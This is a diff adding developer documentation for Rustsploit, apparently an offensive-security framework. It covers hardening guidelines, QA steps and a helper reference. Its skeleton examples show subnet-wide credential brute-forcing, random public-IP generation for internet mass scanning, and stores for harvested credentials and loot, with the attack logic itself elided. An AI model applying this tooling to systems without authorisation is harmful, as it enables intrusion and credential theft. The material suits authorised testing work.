|
||||
let normalized = normalize_target(raw_target)?;
|
||||
// Handles IPv4, IPv6, hostnames, URLs, CIDR with full validation
|
||||
```
|
||||
|
||||
For custom character validation:
|
||||
```rust
|
||||
use regex::Regex;
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!("Invalid characters in target"));
|
||||
}
|
||||
```
|
||||
|
||||
### 5. Overflow Protection
|
||||
|
||||
```rust
|
||||
// Use saturating_add to prevent integer overflow
|
||||
counter = counter.saturating_add(1);
|
||||
```
|
||||
|
||||
### 6. Prompt Attempt Limiting
|
||||
|
||||
```rust
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
let mut attempts = 0u8;
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("Too many invalid attempts. Using default.");
|
||||
return Ok(default);
|
||||
}
|
||||
// prompt logic
|
||||
}
|
||||
```
|
||||
|
||||
### 7. File Operations
|
||||
|
||||
When reading files:
|
||||
1. Validate path does not contain `..`
|
||||
2. Use `canonicalize()` to resolve the real path
|
||||
3. Check file size before reading (ref: `MAX_FILE_SIZE`)
|
||||
4. Skip symlinks for security
|
||||
|
||||
---
|
||||
|
||||
## API Security
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **`RequestBodyLimitLayer`** — prevents DoS via oversized payloads (1 MB max)
|
||||
- **Rate limiting** — 3 failed auth attempts → 30 s block per IP
|
||||
- **Auto-cleanup** — old entries purged at 100,000 entries
|
||||
- **IP tracking + key rotation** — suspicious activity triggers auto-rotation in hardening mode
|
||||
- **Secure defaults** — by default, considers `127.0.0.1` as the intended private bind
|
||||
- **WebSocket limits** — max 100 concurrent connections, 1 MiB frame cap, 30s heartbeat
|
||||
|
||||
---
|
||||
|
||||
## MCP Server Security
|
||||
|
||||
The MCP server (`mcp/server.rs`) implements:
|
||||
|
||||
- **`isolate_protocol_stdout()`** — redirects fd 1 to /dev/null so module `println!` cannot corrupt the JSON-RPC stream
|
||||
- **`MAX_LINE_BYTES`** — 1 MiB cap on incoming lines to prevent memory exhaustion
|
||||
- **Binary-safe reads** — uses `read_until()` instead of `read_line()` for no UTF-8 requirement
|
||||
- **Non-UTF-8 error handling** — returns proper JSON-RPC error responses for malformed input
|
||||
|
||||
---
|
||||
|
||||
## Spool Security
|
||||
|
||||
The spool system (`spool.rs`) implements:
|
||||
|
||||
- **`O_NOFOLLOW`** — prevents TOCTOU race conditions on symlinked spool files
|
||||
- **Parent symlink check** — rejects spool paths with symlinked parent directories
|
||||
- **Lock-first pattern** — acquires write lock before creating files to prevent orphaned files
|
||||
- **`write_line()` returns `Result`** — callers handle write failures instead of silently dropping output
|
||||
|
||||
---
|
||||
|
||||
## Privilege Checks
|
||||
|
||||
Modules requiring raw sockets call `require_root()` at startup:
|
||||
|
||||
```rust
|
||||
use crate::utils::privilege::require_root;
|
||||
require_root("ICMP raw socket")?;
|
||||
```
|
||||
|
||||
Returns a descriptive error with the current euid instead of a cryptic "permission denied" from the socket layer. Used by DoS modules, ping sweep, and raw packet scanners.
|
||||
|
||||
---
|
||||
|
||||
## Honeypot Detection
|
||||
|
||||
The framework automatically runs `basic_honeypot_check` before any module execution when a target is set.
|
||||
|
||||
- Scans **200 common ports** with a 250 ms timeout each
|
||||
- If **11 or more** ports respond, warns that the target is likely a honeypot
|
||||
- Runs automatically in the shell's `run` and `run_all` commands
|
||||
- Can be called manually from module code:
|
||||
|
||||
```rust
|
||||
use crate::utils::basic_honeypot_check;
|
||||
basic_honeypot_check(&ip).await;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## IP Exclusion Ranges (`EXCLUDED_RANGES`)
|
||||
|
||||
Standard across mass-scan capable modules (e.g., `camxploit`, `telnet_hose`, `telnet_bruteforce`, exploit modules with 0.0.0.0/0 support):
|
||||
|
||||
| CIDR | Category |
|
||||
|------|----------|
|
||||
| `10.0.0.0/8` | Private |
|
||||
| `127.0.0.0/8` | Loopback |
|
||||
| `172.16.0.0/12` | Private |
|
||||
| `192.168.0.0/16` | Private |
|
||||
| `224.0.0.0/4` | Multicast |
|
||||
| `240.0.0.0/4` | Reserved |
|
||||
| `0.0.0.0/8` | This network |
|
||||
| `100.64.0.0/10` | Carrier-grade NAT |
|
||||
| `169.254.0.0/16` | Link-local |
|
||||
| `198.18.0.0/15` | Benchmarking |
|
||||
| `198.51.100.0/24` | Documentation |
|
||||
| `203.0.113.0/24` | Documentation |
|
||||
| `255.255.255.255/32` | Broadcast |
|
||||
| Public DNS | 1.1.1.1, 8.8.8.8, etc. |
|
||||
|
||||
Uses the `ipnetwork` crate for proper CIDR matching.
|
||||
|
||||
---
|
||||
|
||||
## Persistent Storage Security
|
||||
|
||||
All persistent data uses atomic write-to-temp-then-rename to prevent corruption:
|
||||
|
||||
| File | Purpose | Sensitivity |
|
||||
|------|---------|-------------|
|
||||
| `~/.rustsploit/global_options.json` | Global options (setg) | Low — user preferences |
|
||||
| `~/.rustsploit/creds.json` | Discovered credentials | **High — contains passwords/hashes** |
|
||||
| `~/.rustsploit/workspaces/<name>.json` | Hosts, services, notes | Medium — engagement data |
|
||||
| `~/.rustsploit/loot_index.json` | Loot metadata | Medium |
|
||||
| `~/.rustsploit/loot/` | Loot files | **High — may contain sensitive data** |
|
||||
| `~/.rustsploit/results/` | Module output files | Medium |
|
||||
| `~/.rustsploit/history.txt` | Shell command history | Medium |
|
||||
|
||||
**Important:** The `creds.json` and `loot/` files may contain sensitive data. Protect `~/.rustsploit/` with appropriate file permissions (e.g., `chmod 700`).
|
||||
@@ -0,0 +1,160 @@
|
||||
# Testing & QA
|
||||
|
||||
Guidelines for verifying that new modules and framework changes are correct.
|
||||
|
||||
---
|
||||
|
||||
## Static Checks
|
||||
|
||||
Run before every commit or PR:
|
||||
|
||||
```bash
|
||||
# Format code
|
||||
cargo fmt
|
||||
|
||||
# Lint (use where available)
|
||||
cargo clippy
|
||||
|
||||
# Compile check (fast, no linking)
|
||||
cargo check
|
||||
```
|
||||
|
||||
A clean `cargo check` with **0 errors and 0 warnings** is required. The current codebase (all 240 modules) passes this check cleanly.
|
||||
|
||||
---
|
||||
|
||||
## Build Verification
|
||||
|
||||
```bash
|
||||
cargo build
|
||||
```
|
||||
|
||||
`build.rs` regenerates the dispatchers (`exploit_dispatch.rs`, `scanner_dispatch.rs`, `creds_dispatch.rs`, `plugins_dispatch.rs`, `module_registry.rs`) into `OUT_DIR` during compilation. All 240 modules (183 exploits, 27 scanners, 29 creds, 1 plugin) are auto-discovered and dispatched by `build.rs`. If a new module fails to register, ensure `pub mod your_module;` is present in the sibling `mod.rs`.
|
||||
|
||||
---
|
||||
|
||||
## Runtime Smoke Tests
|
||||
|
||||
### Shell
|
||||
```bash
|
||||
cargo run
|
||||
# Inside the shell:
|
||||
modules # Verify new module appears in list
|
||||
find <keyword> # Verify keyword search works
|
||||
u scanners/sample_scanner
|
||||
set target 127.0.0.1
|
||||
go # Runs the sample scanner against localhost
|
||||
```
|
||||
|
||||
### CLI
|
||||
```bash
|
||||
cargo run -- -m scanners/sample_scanner -t 127.0.0.1
|
||||
cargo run -- --list-modules # Verify your module is listed
|
||||
```
|
||||
|
||||
### API
|
||||
```bash
|
||||
# Start the server
|
||||
cargo run -- --api
|
||||
|
||||
# Verify server starts (module listing requires PQ WebSocket session)
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Unit Tests
|
||||
|
||||
Run all unit tests:
|
||||
```bash
|
||||
cargo test
|
||||
```
|
||||
|
||||
Module-level tests can be added inline:
|
||||
|
||||
```rust
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_parse_response() {
|
||||
let output = parse_response(b"some payload");
|
||||
assert!(output.is_some());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
For async tests:
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn test_async_behavior() {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Wordlist Validation
|
||||
|
||||
Before adding a module that depends on wordlists:
|
||||
1. Confirm the file exists under `lists/`
|
||||
2. Reference the path in docstrings or `lists/readme.md`
|
||||
3. Validate it is non-empty at runtime and handle the empty case gracefully
|
||||
|
||||
---
|
||||
|
||||
## Framework Feature Smoke Tests
|
||||
|
||||
After modifying framework features, verify these work:
|
||||
|
||||
```bash
|
||||
# Shell smoke test
|
||||
cargo run
|
||||
# Inside shell:
|
||||
info exploits/sample_exploit # Should display module metadata
|
||||
setg port 8080 # Set global option
|
||||
show options # Should show port=8080
|
||||
unsetg port # Remove it
|
||||
creds # Should show empty cred store
|
||||
hosts # Should show empty host list
|
||||
workspace # Should show "default" workspace
|
||||
loot # Should show empty loot
|
||||
jobs # Should show no jobs
|
||||
spool /tmp/test.log # Start console logging
|
||||
spool off # Stop logging
|
||||
export json /tmp/test.json # Should create JSON file
|
||||
```
|
||||
|
||||
```bash
|
||||
# API smoke test — verify server starts and health endpoint responds
|
||||
cargo run -- --api
|
||||
curl http://localhost:8080/health
|
||||
# All other endpoints require a PQ WebSocket session — see API-Server.md
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Regression Notes
|
||||
|
||||
| Area | What to verify |
|
||||
|------|----------------|
|
||||
| New cred module | Correct concurrency model, DNS resolved once (not per attempt) |
|
||||
| New exploit | Response validated before declaring success, artifacts written to CWD |
|
||||
| New scanner | Outputs parseable results, status codes filtered correctly |
|
||||
| Mass-scan module | `EXCLUDED_RANGES` applied, no private/bogon IPs targeted |
|
||||
| API change | `cargo check` clean, endpoint documented in [API Server](API-Server.md) |
|
||||
| Utils change | All prompt helpers still compile, no dead code warnings |
|
||||
| Module with `info()` | Build generates info_dispatch entry, `info` command displays metadata |
|
||||
| Module with `check()` | Build generates check_dispatch entry, `check` command runs verification |
|
||||
| Global options change | JSON file updated atomically, `cfg_prompt_*` respects priority chain |
|
||||
| Workspace change | JSON saved on modification, workspace switch preserves data |
|
||||
| Cred store change | JSON persistence works, search returns correct results |
|
||||
|
||||
---
|
||||
|
||||
## Known Disabled / Stubbed Code
|
||||
|
||||
| Module | Status | Reason |
|
||||
|--------|--------|--------|
|
||||
| `scanners/dns_recursion` | ✅ Fixed | Rewritten for hickory-client v0.25 (`AsyncClient` → `Client`, builder pattern + `TokioRuntimeProvider`) |
|
||||
@@ -0,0 +1,744 @@
|
||||
# Utilities & Helpers
|
||||
|
||||
Rustsploit provides several utility modules that every module developer should know:
|
||||
|
||||
| Module | Import Path | Purpose |
|
||||
|--------|-------------|---------|
|
||||
| **Core Utils** | `crate::utils` | Target normalization, file loading, config-aware prompts, input validation |
|
||||
| **Network Utils** | `crate::utils::network` | HTTP client builders, TCP/UDP connect helpers, honeypot check |
|
||||
| **Privilege Utils** | `crate::utils::privilege` | Root privilege check for raw-socket modules |
|
||||
| **Creds Utils** | `crate::modules::creds::utils` | Bruteforce statistics, subnet helpers, IP exclusion, scan state tracking |
|
||||
| **Config** | `crate::config` | Global target state, module config, API prompt keys, results directory |
|
||||
| **Global Options** | `crate::global_options` | Persistent `setg` options — checked by `cfg_prompt_*` after custom_prompts |
|
||||
| **Cred Store** | `crate::cred_store` | Store/query discovered credentials. Call `store_credential()` from modules |
|
||||
| **Workspace** | `crate::workspace` | Track hosts/services. Call `track_host()` / `track_service()` from modules |
|
||||
| **Loot** | `crate::loot` | Store collected evidence. Call `store_loot()` from modules |
|
||||
| **Module Info** | `crate::module_info` | `ModuleInfo`, `ModuleRank`, `CheckResult` types for `info()`/`check()` |
|
||||
| **Spool** | `crate::spool` | Console output logging. Call `spool::sprintln()` for spool-aware output |
|
||||
| **Jobs** | `crate::jobs` | Background job management via `JOB_MANAGER` |
|
||||
| **Export** | `crate::export` | Export engagement data to JSON/CSV/summary |
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils` — Core Utilities
|
||||
|
||||
### `load_lines(path) → Result<Vec<String>>`
|
||||
|
||||
Reads a file line-by-line, trims whitespace, and drops empty lines. The standard way to load wordlists, username files, or any line-delimited input.
|
||||
|
||||
```rust
|
||||
use crate::utils::load_lines;
|
||||
|
||||
let passwords = load_lines("passwords.txt")?;
|
||||
for pw in &passwords {
|
||||
// each entry is trimmed, non-empty
|
||||
}
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `path` | `impl AsRef<Path>` | Path to the file to read |
|
||||
|
||||
**Returns:** `Vec<String>` of non-empty, trimmed lines. Errors if the file cannot be opened.
|
||||
|
||||
---
|
||||
|
||||
### `normalize_target(raw) → Result<String>`
|
||||
|
||||
Comprehensive target normalization and validation. This is the **single entry point** for converting any user-supplied target into a consistent format.
|
||||
|
||||
```rust
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let target = normalize_target(user_input)?;
|
||||
// target is now in one of:
|
||||
// "192.168.1.1" (IPv4)
|
||||
// "192.168.1.1:8080" (IPv4 + port)
|
||||
// "[::1]" (IPv6)
|
||||
// "[::1]:8080" (IPv6 + port)
|
||||
// "example.com" (hostname)
|
||||
// "192.168.1.0/24" (CIDR)
|
||||
```
|
||||
|
||||
| Input Format | Example |
|
||||
|--------------|---------|
|
||||
| IPv4 | `192.168.1.1` |
|
||||
| IPv4 + port | `192.168.1.1:8080` |
|
||||
| IPv6 | `::1`, `2001:db8::1` |
|
||||
| IPv6 + port | `[::1]:8080` |
|
||||
| Hostname | `example.com`, `example.com:443` |
|
||||
| URL | `http://example.com:8080` → extracts `example.com:8080` |
|
||||
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
|
||||
|
||||
**Security:** Validates against DoS-length abuse (max 2048 chars), control characters, and path traversal patterns (`..`, `//`).
|
||||
|
||||
---
|
||||
|
||||
### Config-Aware Prompt Wrappers (`cfg_prompt_*`)
|
||||
|
||||
These are the **recommended prompts for module authors**. They check `ModuleConfig.custom_prompts` first (populated by the API), falling back to interactive stdin when running in shell mode. This makes your module work seamlessly in both shell and API modes.
|
||||
|
||||
#### `cfg_prompt_required(key, msg) → Result<String>`
|
||||
|
||||
Required string prompt with no default. In API mode, errors if the key is missing from `custom_prompts`. Priority: custom_prompts > run_context target (for "target" key) > global_options > interactive stdin.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_required;
|
||||
|
||||
let community = cfg_prompt_required("community", "SNMP community string").await?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
|
||||
| `msg` | `&str` | Prompt message shown to user in shell mode |
|
||||
|
||||
**Errors** in API mode if key is missing (required field).
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_yes_no(key, msg, default_yes) → Result<bool>`
|
||||
|
||||
Boolean prompt. Accepts `y/yes/true/1` and `n/no/false/0`.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_yes_no;
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Enable verbose output?", false)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
|
||||
| `msg` | `&str` | Prompt message shown to user in shell mode |
|
||||
| `default_yes` | `bool` | Default when input is empty or key absent in API mode |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_existing_file(key, msg) → Result<String>`
|
||||
|
||||
Prompts for a file path. Validates the file exists, rejects path traversal (`..`), symlinks, and control characters.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_existing_file;
|
||||
|
||||
let wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file")?;
|
||||
let lines = load_lines(&wordlist)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key for API mode |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
|
||||
**Errors** in API mode if key is missing (required field).
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_int_range(key, msg, default, min, max) → Result<i64>`
|
||||
|
||||
Integer prompt with range validation.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_int_range;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Number of threads", 10, 1, 100)?;
|
||||
let delay = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 50, 0, 60000)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `i64` | Default value |
|
||||
| `min` | `i64` | Minimum allowed value |
|
||||
| `max` | `i64` | Maximum allowed value |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_default(key, msg, default) → Result<String>`
|
||||
|
||||
Generic string prompt with a default value.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_default;
|
||||
|
||||
let method = cfg_prompt_default("http_method", "HTTP method", "GET")?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `&str` | Default value when empty |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_port(key, msg, default) → Result<u16>`
|
||||
|
||||
Port number prompt. Validates range 1–65535.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_port;
|
||||
|
||||
let port = cfg_prompt_port("port", "Target port", 22)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `u16` | Default port number |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_output_file(key, msg, default) → Result<String>`
|
||||
|
||||
Output filename prompt. **Forces basename only** — strips any directory path to prevent traversal. Rejects hidden files (starting with `.`) and filenames over 255 chars.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_output_file;
|
||||
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
// output is guaranteed to be a safe basename like "results.txt"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_wordlist(key, msg) → Result<String>`
|
||||
|
||||
Wordlist file prompt. Validates the file exists, rejects path traversal and unsafe paths (same security as `cfg_prompt_existing_file`). Priority: custom_prompts > global_options > interactive stdin.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_wordlist;
|
||||
|
||||
let wordlist = cfg_prompt_wordlist("wordlist", "Path to wordlist file").await?;
|
||||
let lines = load_lines(&wordlist)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key for API mode |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
|
||||
**Errors** in API mode if key is missing (required field). Also errors if the file does not exist.
|
||||
|
||||
---
|
||||
|
||||
### Complete Module Integration Example
|
||||
|
||||
Here's a typical module using all the core utils together:
|
||||
|
||||
```rust
|
||||
use crate::utils::{
|
||||
load_lines, normalize_target,
|
||||
cfg_prompt_required, cfg_prompt_yes_no, cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range, cfg_prompt_default, cfg_prompt_port,
|
||||
cfg_prompt_output_file, cfg_prompt_wordlist,
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> anyhow::Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
|
||||
// Gather config — works in both shell and API mode
|
||||
let port = cfg_prompt_port("port", "Target port", 22)?;
|
||||
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
|
||||
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 100)? as usize;
|
||||
let delay = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 60000)? as u64;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false)?;
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
|
||||
// Load wordlists
|
||||
let users = load_lines(&user_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
|
||||
println!("[*] Targeting {} with {} users × {} passwords", target, users.len(), passwords.len());
|
||||
// ... bruteforce logic ...
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::modules::creds::utils` — Credential Module Utilities
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
|
||||
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `BruteforceStats`
|
||||
|
||||
Thread-safe statistics tracker for bruteforce modules. Uses atomics for counters and a `Mutex<HashMap>` for error categorization. Create one per module run and share via `Arc`.
|
||||
|
||||
```rust
|
||||
use std::sync::Arc;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
// In each worker task:
|
||||
let stats = Arc::clone(&stats);
|
||||
tokio::spawn(async move {
|
||||
match attempt_login(&host, &user, &pass).await {
|
||||
Ok(true) => stats.record_success(),
|
||||
Ok(false) => stats.record_failure(),
|
||||
Err(e) => stats.record_error(format!("{}", e)).await,
|
||||
}
|
||||
|
||||
// Show live progress (prints inline with \r)
|
||||
stats.print_progress();
|
||||
});
|
||||
|
||||
// After all tasks complete:
|
||||
stats.print_final().await;
|
||||
```
|
||||
|
||||
#### Methods
|
||||
|
||||
| Method | Async | Description |
|
||||
|--------|-------|-------------|
|
||||
| `BruteforceStats::new()` | No | Create a new stats tracker (starts the timer) |
|
||||
| `.record_success()` | No | Increment total + successful counters |
|
||||
| `.record_failure()` | No | Increment total + failed counters |
|
||||
| `.record_error(msg)` | **Yes** | Increment total + error counters, log error message |
|
||||
| `.record_retry()` | No | Increment retry counter |
|
||||
| `.print_progress()` | No | Print inline progress bar (`\r` overwrite) |
|
||||
| `.print_final()` | **Yes** | Print full statistics summary with top 5 errors |
|
||||
|
||||
---
|
||||
|
||||
### `is_subnet_target(target) → bool`
|
||||
|
||||
Check if a target string is CIDR notation (e.g., `192.168.8.0/21`). Use this to branch between single-host and subnet-scan logic.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::is_subnet_target;
|
||||
|
||||
if is_subnet_target(&target) {
|
||||
// Iterate subnet
|
||||
} else {
|
||||
// Single host
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `parse_subnet(target) → Result<IpNetwork>`
|
||||
|
||||
Parse a CIDR string into an `ipnetwork::IpNetwork`. **Does NOT allocate a Vec** — callers iterate lazily with `.iter()`, making it safe for any prefix size (`/0` through `/32`).
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::parse_subnet;
|
||||
|
||||
let network = parse_subnet("192.168.1.0/24")?;
|
||||
for ip in network.iter() {
|
||||
println!("Scanning {}", ip);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `subnet_host_count(net) → u128`
|
||||
|
||||
Returns the number of host IPs in a network. Useful for progress display and ETA calculations.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{parse_subnet, subnet_host_count};
|
||||
|
||||
let net = parse_subnet("10.0.0.0/8")?;
|
||||
println!("Scanning {} hosts", subnet_host_count(&net));
|
||||
// → "Scanning 16777216 hosts"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `generate_random_public_ip(exclusions) → IpAddr`
|
||||
|
||||
Generates a random IPv4 address that is **not** in any excluded range. Automatically skips `10.x.x.x`, `127.x.x.x`, and `0.x.x.x` in addition to the provided exclusion list. Used by mass-scanning modules (Camxploit, etc.).
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{generate_random_public_ip, parse_exclusions};
|
||||
|
||||
let exclusions = parse_exclusions(&[
|
||||
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"100.64.0.0/10", // CGNAT
|
||||
"224.0.0.0/4", // Multicast
|
||||
]);
|
||||
|
||||
let ip = generate_random_public_ip(&exclusions);
|
||||
println!("Random target: {}", ip);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `parse_exclusions(cidrs) → Vec<IpNetwork>`
|
||||
|
||||
Parses an array of CIDR strings into `IpNetwork` objects for use with `generate_random_public_ip`. Invalid CIDRs are silently skipped.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::parse_exclusions;
|
||||
|
||||
let excluded = parse_exclusions(&["10.0.0.0/8", "192.168.0.0/16", "not-valid"]);
|
||||
// excluded.len() == 2 (invalid entry silently dropped)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `is_ip_checked(ip, state_file) → bool` / `mark_ip_checked(ip, state_file)`
|
||||
|
||||
Persistent scan-state tracking. Prevents re-scanning the same IP across multiple runs by writing `checked: <ip>` lines to a state file.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{is_ip_checked, mark_ip_checked};
|
||||
|
||||
let state_file = "mqtt_cidr_results.txt";
|
||||
|
||||
for ip in network.iter() {
|
||||
if is_ip_checked(&ip, state_file).await {
|
||||
continue; // Already scanned
|
||||
}
|
||||
|
||||
// ... scan the IP ...
|
||||
|
||||
mark_ip_checked(&ip, state_file).await;
|
||||
}
|
||||
```
|
||||
|
||||
| Function | Async | Description |
|
||||
|----------|-------|-------------|
|
||||
| `is_ip_checked(ip, state_file)` | **Yes** | Returns `true` if IP was previously marked. Creates the state file if missing. |
|
||||
| `mark_ip_checked(ip, state_file)` | **Yes** | Appends `checked: <ip>` to the state file. |
|
||||
|
||||
> **Note:** Both functions accept any type implementing `ToString` for the IP parameter.
|
||||
|
||||
---
|
||||
|
||||
## Complete Credential Module Example
|
||||
|
||||
Putting both utility modules together in a real bruteforce module:
|
||||
|
||||
```rust
|
||||
use std::sync::Arc;
|
||||
use crate::utils::{
|
||||
load_lines, normalize_target,
|
||||
cfg_prompt_port, cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
|
||||
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> anyhow::Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Target port", 1883)?;
|
||||
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist")?;
|
||||
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist")?;
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 200)? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose?", false)?;
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
|
||||
let users = load_lines(&user_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
if is_subnet_target(&target) {
|
||||
let network = parse_subnet(&target)?;
|
||||
println!("[*] Subnet scan: {} hosts", subnet_host_count(&network));
|
||||
for ip in network.iter() {
|
||||
if is_ip_checked(&ip, &output).await { continue; }
|
||||
// ... bruteforce ip ...
|
||||
mark_ip_checked(&ip, &output).await;
|
||||
}
|
||||
} else {
|
||||
// ... single host bruteforce ...
|
||||
}
|
||||
|
||||
stats.print_final().await;
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::config` — Framework Configuration
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::config::{
|
||||
GLOBAL_CONFIG, GlobalConfig, TargetConfig,
|
||||
ModuleConfig, get_module_config, set_module_config, clear_module_config,
|
||||
results_dir,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `GLOBAL_CONFIG` (static `GlobalConfig`)
|
||||
|
||||
Thread-safe singleton that holds the current target. Set by the shell (`set target`) or CLI (`--target`). Module code reads it but rarely needs to write to it.
|
||||
|
||||
```rust
|
||||
use crate::config::GLOBAL_CONFIG;
|
||||
|
||||
// Check if a target is set
|
||||
if !GLOBAL_CONFIG.has_target() {
|
||||
println!("No target set!");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Read the target as a string
|
||||
let target = GLOBAL_CONFIG.get_target().unwrap();
|
||||
println!("Targeting: {}", target);
|
||||
```
|
||||
|
||||
#### `GlobalConfig` Methods
|
||||
|
||||
| Method | Returns | Description |
|
||||
|--------|---------|-------------|
|
||||
| `.set_target(target)` | `Result<()>` | Set global target (IP, hostname, or CIDR). Validates input. |
|
||||
| `.get_target()` | `Option<String>` | Get the target as a display string |
|
||||
| `.get_single_target_ip()` | `Result<String>` | Get single IP; for subnets returns the network address |
|
||||
| `.has_target()` | `bool` | Check if any target is set |
|
||||
| `.is_subnet()` | `bool` | `true` if the target is a CIDR subnet |
|
||||
| `.get_target_subnet()` | `Option<IpNetwork>` | Returns the `IpNetwork` if target is a subnet |
|
||||
| `.get_target_size()` | `Option<u64>` | Number of IPs (1 for single, 2^(32-prefix) for subnets) |
|
||||
